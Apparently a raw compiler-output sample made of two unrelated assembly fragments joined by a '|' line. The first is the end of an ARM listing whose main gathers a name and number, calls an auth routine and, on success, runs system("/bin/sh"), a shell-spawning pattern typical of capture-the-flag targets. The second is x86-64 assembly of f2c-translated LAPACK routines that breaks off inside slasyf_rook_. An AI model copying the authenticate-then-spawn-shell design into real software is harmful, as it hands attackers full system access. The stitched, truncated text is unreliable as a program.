.ascii "%d\000"
.align 2
.LC10:
.ascii "Authenticated!\000"
.align 2
.LC11:
.ascii "/bin/sh\000"
.align 2
.LC12:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
ldr r3, .L15
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, .L15+4
bl puts
ldr r0, .L15+8
bl puts
ldr r0, .L15+4
bl puts
ldr r0, .L15+12
bl printf
ldr r3, .L15+16
ldr r2, [r3]
sub r3, fp, #40
mov r1, #32
mov r0, r3
bl fgets
ldr r0, .L15+4
bl puts
ldr r0, .L15+20
bl puts
ldr r0, .L15+4
bl puts
ldr r0, .L15+24
bl printf
sub r3, fp, #44
mov r1, r3
ldr r0, .L15+28
bl __isoc99_scanf
ldr r2, [fp, #-44]
sub r3, fp, #40
mov r1, r2
mov r0, r3
bl auth
mov r3, r0
cmp r3, #0
bne .L12
ldr r0, .L15+32
bl puts
ldr r0, .L15+36
bl system
.L12:
mov r3, #0
ldr r2, .L15
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L14
bl __stack_chk_fail
.L14:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L16:
.align 2
.L15:
.word .LC12
.word .LC4
.word .LC5
.word .LC6
.word stdin
.word .LC7
.word .LC8
.word .LC9
.word .LC10
.word .LC11
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "228618.c"
.intel_syntax noprefix
.text
.data
.align 16
.type junk, @object
.size junk, 30
junk:
.string "\n@(#)LIBF77 VERSION 19990503\n"
.text
.type spow_ui, @function
spow_ui:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movss DWORD PTR -20[rbp], xmm0
mov DWORD PTR -24[rbp], edi
movss xmm0, DWORD PTR .LC0[rip]
movss DWORD PTR -12[rbp], xmm0
cmp DWORD PTR -24[rbp], 0
je .L2
cmp DWORD PTR -24[rbp], 0
jns .L3
neg DWORD PTR -24[rbp]
movss xmm0, DWORD PTR .LC0[rip]
divss xmm0, DWORD PTR -20[rbp]
movss DWORD PTR -20[rbp], xmm0
.L3:
mov eax, DWORD PTR -24[rbp]
cdqe
mov QWORD PTR -8[rbp], rax
.L7:
mov rax, QWORD PTR -8[rbp]
and eax, 1
test rax, rax
je .L4
movss xmm0, DWORD PTR -12[rbp]
mulss xmm0, DWORD PTR -20[rbp]
movss DWORD PTR -12[rbp], xmm0
.L4:
shr QWORD PTR -8[rbp]
cmp QWORD PTR -8[rbp], 0
je .L9
movss xmm0, DWORD PTR -20[rbp]
mulss xmm0, xmm0
movss DWORD PTR -20[rbp], xmm0
jmp .L7
.L9:
nop
.L2:
movss xmm0, DWORD PTR -12[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size spow_ui, .-spow_ui
.type dpow_ui, @function
dpow_ui:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -24[rbp], xmm0
mov DWORD PTR -28[rbp], edi
movsd xmm0, QWORD PTR .LC1[rip]
movsd QWORD PTR -16[rbp], xmm0
cmp DWORD PTR -28[rbp], 0
je .L11
cmp DWORD PTR -28[rbp], 0
jns .L12
neg DWORD PTR -28[rbp]
movsd xmm0, QWORD PTR .LC1[rip]
divsd xmm0, QWORD PTR -24[rbp]
movsd QWORD PTR -24[rbp], xmm0
.L12:
mov eax, DWORD PTR -28[rbp]
cdqe
mov QWORD PTR -8[rbp], rax
.L16:
mov rax, QWORD PTR -8[rbp]
and eax, 1
test rax, rax
je .L13
movsd xmm0, QWORD PTR -16[rbp]
mulsd xmm0, QWORD PTR -24[rbp]
movsd QWORD PTR -16[rbp], xmm0
.L13:
shr QWORD PTR -8[rbp]
cmp QWORD PTR -8[rbp], 0
je .L18
movsd xmm0, QWORD PTR -24[rbp]
mulsd xmm0, xmm0
movsd QWORD PTR -24[rbp], xmm0
jmp .L16
.L18:
nop
.L11:
movsd xmm0, QWORD PTR -16[rbp]
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size dpow_ui, .-dpow_ui
.type cpow_ui, @function
cpow_ui:
.LFB12:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
movq rax, xmm0
mov QWORD PTR -40[rbp], rax
movss xmm1, DWORD PTR -40[rbp]
movss xmm0, DWORD PTR -36[rbp]
movss DWORD PTR -48[rbp], xmm1
movss DWORD PTR -44[rbp], xmm0
mov DWORD PTR -52[rbp], edi
movss xmm0, DWORD PTR -48[rbp]
movss DWORD PTR -32[rbp], xmm0
movss xmm0, DWORD PTR -44[rbp]
movss DWORD PTR -28[rbp], xmm0
movss xmm0, DWORD PTR .LC0[rip]
movss DWORD PTR -8[rbp], xmm0
pxor xmm0, xmm0
movss DWORD PTR -4[rbp], xmm0
cmp DWORD PTR -52[rbp], 0
je .L27
cmp DWORD PTR -52[rbp], 0
jns .L21
neg DWORD PTR -52[rbp]
movss xmm1, DWORD PTR -28[rbp]
movss xmm0, DWORD PTR -32[rbp]
movaps xmm3, xmm1
movaps xmm2, xmm0
pxor xmm1, xmm1
movss xmm0, DWORD PTR .LC0[rip]
call __divsc3@PLT
movq rax, xmm0
mov QWORD PTR -48[rbp], rax
movss xmm0, DWORD PTR -48[rbp]
movss DWORD PTR -32[rbp], xmm0
movss xmm0, DWORD PTR -44[rbp]
movss DWORD PTR -28[rbp], xmm0
.L21:
mov eax, DWORD PTR -52[rbp]
cdqe
mov QWORD PTR -16[rbp], rax
pxor xmm0, xmm0
movss DWORD PTR -20[rbp], xmm0
movss xmm0, DWORD PTR .LC0[rip]
movss DWORD PTR -24[rbp], xmm0
.L25:
mov rax, QWORD PTR -16[rbp]
and eax, 1
test rax, rax
je .L22
movss xmm2, DWORD PTR -28[rbp]
movss xmm1, DWORD PTR -32[rbp]
movss xmm0, DWORD PTR -20[rbp]
mov eax, DWORD PTR -24[rbp]
movaps xmm3, xmm2
movaps xmm2, xmm1
movaps xmm1, xmm0
movd xmm0, eax
call __mulsc3@PLT
movq rax, xmm0
mov QWORD PTR -8[rbp], rax
movss xmm0, DWORD PTR -8[rbp]
movss DWORD PTR -24[rbp], xmm0
movss xmm0, DWORD PTR -4[rbp]
movss DWORD PTR -20[rbp], xmm0
.L22:
shr QWORD PTR -16[rbp]
cmp QWORD PTR -16[rbp], 0
je .L28
movss xmm2, DWORD PTR -28[rbp]
movss xmm1, DWORD PTR -32[rbp]
movss xmm0, DWORD PTR -28[rbp]
mov eax, DWORD PTR -32[rbp]
movaps xmm3, xmm2
movaps xmm2, xmm1
movaps xmm1, xmm0
movd xmm0, eax
call __mulsc3@PLT
movq rax, xmm0
mov QWORD PTR -48[rbp], rax
movss xmm0, DWORD PTR -48[rbp]
movss DWORD PTR -32[rbp], xmm0
movss xmm0, DWORD PTR -44[rbp]
movss DWORD PTR -28[rbp], xmm0
jmp .L25
.L27:
pxor xmm0, xmm0
movss DWORD PTR -20[rbp], xmm0
movss xmm0, DWORD PTR .LC0[rip]
movss DWORD PTR -24[rbp], xmm0
jmp .L20
.L28:
nop
.L20:
movss xmm1, DWORD PTR -24[rbp]
movss xmm0, DWORD PTR -20[rbp]
movss DWORD PTR -60[rbp], xmm1
movss DWORD PTR -56[rbp], xmm0
mov rax, QWORD PTR -60[rbp]
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE12:
.size cpow_ui, .-cpow_ui
.type zpow_ui, @function
zpow_ui:
.LFB13:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 96
movq rax, xmm0
movapd xmm0, xmm1
mov rdx, rax
movq rax, xmm0
movq xmm1, rdx
movq xmm0, rax
movsd QWORD PTR -80[rbp], xmm1
movsd QWORD PTR -72[rbp], xmm0
mov DWORD PTR -84[rbp], edi
movsd xmm0, QWORD PTR -80[rbp]
movsd QWORD PTR -48[rbp], xmm0
movsd xmm0, QWORD PTR -72[rbp]
movsd QWORD PTR -40[rbp], xmm0
movsd xmm0, QWORD PTR .LC1[rip]
movsd QWORD PTR -16[rbp], xmm0
pxor xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
cmp DWORD PTR -84[rbp], 0
je .L37
cmp DWORD PTR -84[rbp], 0
jns .L31
neg DWORD PTR -84[rbp]
movsd xmm1, QWORD PTR -40[rbp]
movsd xmm0, QWORD PTR -48[rbp]
mov rax, QWORD PTR .LC1[rip]
movapd xmm3, xmm1
movapd xmm2, xmm0
pxor xmm1, xmm1
movq xmm0, rax
call __divdc3@PLT
movq rax, xmm0
movapd xmm0, xmm1
mov QWORD PTR -80[rbp], rax
movsd QWORD PTR -72[rbp], xmm0
movsd xmm0, QWORD PTR -80[rbp]
movsd QWORD PTR -48[rbp], xmm0
movsd xmm0, QWORD PTR -72[rbp]
movsd QWORD PTR -40[rbp], xmm0
.L31:
mov eax, DWORD PTR -84[rbp]
cdqe
mov QWORD PTR -56[rbp], rax
pxor xmm0, xmm0
movsd QWORD PTR -24[rbp], xmm0
movsd xmm0, QWORD PTR .LC1[rip]
movsd QWORD PTR -32[rbp], xmm0
.L35:
mov rax, QWORD PTR -56[rbp]
and eax, 1
test rax, rax
je .L32
movsd xmm2, QWORD PTR -40[rbp]
movsd xmm1, QWORD PTR -48[rbp]
movsd xmm0, QWORD PTR -24[rbp]
mov rax, QWORD PTR -32[rbp]
movapd xmm3, xmm2
movapd xmm2, xmm1
movapd xmm1, xmm0
movq xmm0, rax
call __muldc3@PLT
movq rax, xmm0
movapd xmm0, xmm1
mov QWORD PTR -16[rbp], rax
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR -32[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd QWORD PTR -24[rbp], xmm0
.L32:
shr QWORD PTR -56[rbp]
cmp QWORD PTR -56[rbp], 0
je .L38
movsd xmm2, QWORD PTR -40[rbp]
movsd xmm1, QWORD PTR -48[rbp]
movsd xmm0, QWORD PTR -40[rbp]
mov rax, QWORD PTR -48[rbp]
movapd xmm3, xmm2
movapd xmm2, xmm1
movapd xmm1, xmm0
movq xmm0, rax
call __muldc3@PLT
movq rax, xmm0
movapd xmm0, xmm1
mov QWORD PTR -80[rbp], rax
movsd QWORD PTR -72[rbp], xmm0
movsd xmm0, QWORD PTR -80[rbp]
movsd QWORD PTR -48[rbp], xmm0
movsd xmm0, QWORD PTR -72[rbp]
movsd QWORD PTR -40[rbp], xmm0
jmp .L35
.L37:
pxor xmm0, xmm0
movsd QWORD PTR -24[rbp], xmm0
movsd xmm0, QWORD PTR .LC1[rip]
movsd QWORD PTR -32[rbp], xmm0
jmp .L30
.L38:
nop
.L30:
movsd xmm1, QWORD PTR -32[rbp]
movsd xmm0, QWORD PTR -24[rbp]
movq rax, xmm1
movq rdx, xmm0
movq xmm1, rdx
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE13:
.size zpow_ui, .-zpow_ui
.type pow_ii, @function
pow_ii:
.LFB14:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov DWORD PTR -24[rbp], esi
cmp DWORD PTR -24[rbp], 0
jg .L40
cmp DWORD PTR -24[rbp], 0
je .L41
cmp DWORD PTR -20[rbp], 1
jne .L42
.L41:
mov DWORD PTR -12[rbp], 1
jmp .L40
.L42:
cmp DWORD PTR -20[rbp], -1
je .L43
cmp DWORD PTR -20[rbp], 0
jne .L44
mov eax, 1
cdq
idiv DWORD PTR -20[rbp]
jmp .L45
.L44:
mov eax, 0
.L45:
mov DWORD PTR -12[rbp], eax
jmp .L40
.L43:
neg DWORD PTR -24[rbp]
.L40:
cmp DWORD PTR -24[rbp], 0
jg .L46
cmp DWORD PTR -24[rbp], 0
je .L47
cmp DWORD PTR -20[rbp], 1
je .L47
cmp DWORD PTR -20[rbp], -1
jne .L47
.L46:
mov eax, DWORD PTR -24[rbp]
cdqe
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -12[rbp], 1
.L51:
mov rax, QWORD PTR -8[rbp]
and eax, 1
test rax, rax
je .L48
mov eax, DWORD PTR -12[rbp]
imul eax, DWORD PTR -20[rbp]
mov DWORD PTR -12[rbp], eax
.L48:
shr QWORD PTR -8[rbp]
cmp QWORD PTR -8[rbp], 0
je .L53
mov eax, DWORD PTR -20[rbp]
imul eax, eax
mov DWORD PTR -20[rbp], eax
jmp .L51
.L53:
nop
.L47:
mov eax, DWORD PTR -12[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE14:
.size pow_ii, .-pow_ii
.type dmaxloc_, @function
dmaxloc_:
.LFB15:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov DWORD PTR -32[rbp], edx
mov QWORD PTR -40[rbp], rcx
mov eax, DWORD PTR -28[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
movsd QWORD PTR -8[rbp], xmm0
mov eax, DWORD PTR -28[rbp]
mov DWORD PTR -12[rbp], eax
mov eax, DWORD PTR -28[rbp]
add eax, 1
mov DWORD PTR -16[rbp], eax
jmp .L55
.L58:
mov eax, DWORD PTR -16[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
comisd xmm0, QWORD PTR -8[rbp]
jbe .L56
mov eax, DWORD PTR -16[rbp]
mov DWORD PTR -12[rbp], eax
mov eax, DWORD PTR -16[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
movsd QWORD PTR -8[rbp], xmm0
.L56:
add DWORD PTR -16[rbp], 1
.L55:
mov eax, DWORD PTR -16[rbp]
cmp eax, DWORD PTR -32[rbp]
jle .L58
mov eax, DWORD PTR -12[rbp]
sub eax, DWORD PTR -28[rbp]
add eax, 1
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE15:
.size dmaxloc_, .-dmaxloc_
.type smaxloc_, @function
smaxloc_:
.LFB16:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov DWORD PTR -32[rbp], edx
mov QWORD PTR -40[rbp], rcx
mov eax, DWORD PTR -28[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -12[rbp], xmm0
mov eax, DWORD PTR -28[rbp]
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -28[rbp]
add eax, 1
mov DWORD PTR -8[rbp], eax
jmp .L62
.L65:
mov eax, DWORD PTR -8[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
comiss xmm0, DWORD PTR -12[rbp]
jbe .L63
mov eax, DWORD PTR -8[rbp]
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -8[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -12[rbp], xmm0
.L63:
add DWORD PTR -8[rbp], 1
.L62:
mov eax, DWORD PTR -8[rbp]
cmp eax, DWORD PTR -32[rbp]
jle .L65
mov eax, DWORD PTR -4[rbp]
sub eax, DWORD PTR -28[rbp]
add eax, 1
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE16:
.size smaxloc_, .-smaxloc_
.data
.align 4
.type c__1, @object
.size c__1, 4
c__1:
.long 1
.align 4
.type c_b9, @object
.size c_b9, 4
c_b9:
.long -1082130432
.align 4
.type c_b10, @object
.size c_b10, 4
c_b10:
.long 1065353216
.section .rodata
.LC5:
.string "S"
.LC6:
.string "U"
.LC7:
.string "No transpose"
.LC9:
.string "Transpose"
.text
.globl slasyf_rook_
.type slasyf_rook_, @function
slasyf_rook_:
.LFB21:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 264
.cfi_offset 3, -24
mov QWORD PTR -200[rbp], rdi
mov QWORD PTR -208[rbp], rsi
mov QWORD PTR -216[rbp], rdx
mov QWORD PTR -224[rbp], rcx
mov QWORD PTR -232[rbp], r8
mov QWORD PTR -240[rbp], r9
mov rax, QWORD PTR 16[rbp]
mov QWORD PTR -248[rbp], rax
mov rax, QWORD PTR 24[rbp]
mov QWORD PTR -256[rbp], rax
mov rax, QWORD PTR 32[rbp]
mov QWORD PTR -264[rbp], rax
mov rax, QWORD PTR 40[rbp]
mov QWORD PTR -272[rbp], rax
mov rax, QWORD PTR fs:40
mov QWORD PTR -24[rbp], rax
xor eax, eax
mov rax, QWORD PTR -240[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -92[rbp], eax
mov eax, DWORD PTR -92[rbp]
add eax, 1
mov DWORD PTR -88[rbp], eax
mov eax, DWORD PTR -88[rbp]
cdqe
sal rax, 2
neg rax
add QWORD PTR -232[rbp], rax
sub QWORD PTR -248[rbp], 4
mov rax, QWORD PTR -264[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -84[rbp], eax
mov eax, DWORD PTR -84[rbp]
add eax, 1
mov DWORD PTR -80[rbp], eax
mov eax, DWORD PTR -80[rbp]
cdqe
sal rax, 2
neg rax
add QWORD PTR -256[rbp], rax
mov rax, QWORD PTR -272[rbp]
mov DWORD PTR [rax], 0
movss xmm0, DWORD PTR .LC4[rip]
movss DWORD PTR -76[rbp], xmm0
lea rdi, .LC5[rip]
call slamch_@PLT
movd eax, xmm0
mov DWORD PTR -72[rbp], eax
mov rax, QWORD PTR -200[rbp]
lea rsi, .LC6[rip]
mov rdi, rax
call lsame_@PLT
test eax, eax
je .L69
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -152[rbp], eax
.L70:
mov rax, QWORD PTR -216[rbp]
mov edx, DWORD PTR [rax]
mov eax, DWORD PTR -152[rbp]
add edx, eax
mov rax, QWORD PTR -208[rbp]
mov ecx, DWORD PTR [rax]
mov eax, edx
sub eax, ecx
mov DWORD PTR -36[rbp], eax
mov rax, QWORD PTR -208[rbp]
mov edx, DWORD PTR [rax]
mov rax, QWORD PTR -216[rbp]
mov ecx, DWORD PTR [rax]
mov eax, edx
sub eax, ecx
lea edx, 1[rax]
mov eax, DWORD PTR -152[rbp]
cmp edx, eax
jl .L71
mov rax, QWORD PTR -216[rbp]
mov edx, DWORD PTR [rax]
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
cmp edx, eax
jl .L251
.L71:
mov eax, DWORD PTR -152[rbp]
test eax, eax
jle .L251
mov DWORD PTR -120[rbp], 1
mov eax, DWORD PTR -152[rbp]
mov DWORD PTR -148[rbp], eax
mov eax, DWORD PTR -36[rbp]
imul eax, DWORD PTR -84[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rdx, rax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
cdqe
add rax, 1
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rcx+rax]
lea rax, -152[rbp]
lea r8, c__1[rip]
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call scopy_@PLT
mov rax, QWORD PTR -208[rbp]
mov edx, DWORD PTR [rax]
mov eax, DWORD PTR -152[rbp]
cmp edx, eax
jle .L75
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -152[rbp]
sub eax, edx
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -36[rbp]
imul eax, DWORD PTR -84[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rsi, [rdx+rax]
mov eax, DWORD PTR -36[rbp]
add eax, 1
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rcx, [rdx+rax]
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -92[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea r10, [rdx+rax]
mov r8, QWORD PTR -240[rbp]
lea rdx, -180[rbp]
lea rax, -152[rbp]
sub rsp, 8
lea rdi, c__1[rip]
push rdi
push rsi
lea rsi, c_b10[rip]
push rsi
push QWORD PTR -264[rbp]
push rcx
mov r9, r8
mov r8, r10
lea rcx, c_b9[rip]
mov rsi, rax
lea rdi, .LC7[rip]
call sgemv_@PLT
add rsp, 48
.L75:
mov eax, DWORD PTR -36[rbp]
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -68[rbp], xmm0
movss xmm0, DWORD PTR -68[rbp]
pxor xmm1, xmm1
comiss xmm0, xmm1
jb .L233
movss xmm0, DWORD PTR -68[rbp]
jmp .L78
.L233:
movss xmm0, DWORD PTR -68[rbp]
movss xmm1, DWORD PTR .LC8[rip]
xorps xmm0, xmm1
.L78:
movss DWORD PTR -64[rbp], xmm0
mov eax, DWORD PTR -152[rbp]
cmp eax, 1
jle .L79
mov eax, DWORD PTR -152[rbp]
sub eax, 1
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -36[rbp]
imul eax, DWORD PTR -84[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rcx, [rdx+rax]
lea rax, -180[rbp]
lea rdx, c__1[rip]
mov rsi, rcx
mov rdi, rax
call isamax_@PLT
mov DWORD PTR -160[rbp], eax
mov eax, DWORD PTR -36[rbp]
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -160[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -68[rbp], xmm0
movss xmm0, DWORD PTR -68[rbp]
pxor xmm1, xmm1
comiss xmm0, xmm1
jb .L234
movss xmm0, DWORD PTR -68[rbp]
jmp .L82
.L234:
movss xmm0, DWORD PTR -68[rbp]
movss xmm1, DWORD PTR .LC8[rip]
xorps xmm0, xmm1
.L82:
movss DWORD PTR -108[rbp], xmm0
jmp .L83
.L79:
pxor xmm0, xmm0
movss DWORD PTR -108[rbp], xmm0
.L83:
movss xmm0, DWORD PTR -64[rbp]
comiss xmm0, DWORD PTR -108[rbp]
jb .L235
pxor xmm0, xmm0
ucomiss xmm0, DWORD PTR -64[rbp]
setnp al
mov edx, 0
pxor xmm0, xmm0
ucomiss xmm0, DWORD PTR -64[rbp]
cmovne eax, edx
jmp .L86
.L235:
pxor xmm0, xmm0
ucomiss xmm0, DWORD PTR -108[rbp]
setnp al
mov edx, 0
pxor xmm0, xmm0
ucomiss xmm0, DWORD PTR -108[rbp]
cmovne eax, edx
.L86:
test al, al
je .L87
mov rax, QWORD PTR -272[rbp]
mov eax, DWORD PTR [rax]
test eax, eax
jne .L88
mov edx, DWORD PTR -152[rbp]
mov rax, QWORD PTR -272[rbp]
mov DWORD PTR [rax], edx
.L88:
mov eax, DWORD PTR -152[rbp]
mov DWORD PTR -132[rbp], eax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rdx, rax
mov eax, DWORD PTR -36[rbp]
imul eax, DWORD PTR -84[rbp]
cdqe
add rax, 1
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rsi, [rcx+rax]
lea rax, -152[rbp]
lea r8, c__1[rip]
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call scopy_@PLT
jmp .L89
.L87:
movss xmm0, DWORD PTR -76[rbp]
mulss xmm0, DWORD PTR -108[rbp]
comiss xmm0, DWORD PTR -64[rbp]
seta al
xor eax, 1
test al, al
je .L90
mov eax, DWORD PTR -152[rbp]
mov DWORD PTR -132[rbp], eax
jmp .L91
.L90:
mov DWORD PTR -128[rbp], 0
.L92:
mov eax, DWORD PTR -36[rbp]
sub eax, 1
imul eax, DWORD PTR -84[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rdx, rax
mov eax, DWORD PTR -160[rbp]
imul eax, DWORD PTR -92[rbp]
cdqe
add rax, 1
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rcx+rax]
lea rax, -160[rbp]
lea r8, c__1[rip]
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call scopy_@PLT
mov eax, DWORD PTR -152[rbp]
mov edx, DWORD PTR -160[rbp]
sub eax, edx
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -160[rbp]
lea edx, 1[rax]
mov eax, DWORD PTR -36[rbp]
sub eax, 1
imul eax, DWORD PTR -84[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rcx, [rdx+rax]
mov eax, DWORD PTR -160[rbp]
add eax, 1
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -160[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rdx+rax]
mov rdx, QWORD PTR -240[rbp]
lea rax, -180[rbp]
lea r8, c__1[rip]
mov rdi, rax
call scopy_@PLT
mov rax, QWORD PTR -208[rbp]
mov edx, DWORD PTR [rax]
mov eax, DWORD PTR -152[rbp]
cmp edx, eax
jle .L93
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -152[rbp]
sub eax, edx
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -36[rbp]
sub eax, 1
imul eax, DWORD PTR -84[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rsi, [rdx+rax]
mov eax, DWORD PTR -36[rbp]
add eax, 1
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -160[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rcx, [rdx+rax]
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -92[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea r10, [rdx+rax]
mov r8, QWORD PTR -240[rbp]
lea rdx, -180[rbp]
lea rax, -152[rbp]
sub rsp, 8
lea rdi, c__1[rip]
push rdi
push rsi
lea rsi, c_b10[rip]
push rsi
push QWORD PTR -264[rbp]
push rcx
mov r9, r8
mov r8, r10
lea rcx, c_b9[rip]
mov rsi, rax
lea rdi, .LC7[rip]
call sgemv_@PLT
add rsp, 48
.L93:
mov edx, DWORD PTR -160[rbp]
mov eax, DWORD PTR -152[rbp]
cmp edx, eax
je .L94
mov eax, DWORD PTR -152[rbp]
mov edx, DWORD PTR -160[rbp]
sub eax, edx
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -160[rbp]
lea edx, 1[rax]
mov eax, DWORD PTR -36[rbp]
sub eax, 1
imul eax, DWORD PTR -84[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rcx, [rdx+rax]
lea rax, -180[rbp]
lea rdx, c__1[rip]
mov rsi, rcx
mov rdi, rax
call isamax_@PLT
mov edx, DWORD PTR -160[rbp]
add eax, edx
mov DWORD PTR -124[rbp], eax
mov eax, DWORD PTR -36[rbp]
sub eax, 1
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -124[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -68[rbp], xmm0
movss xmm0, DWORD PTR -68[rbp]
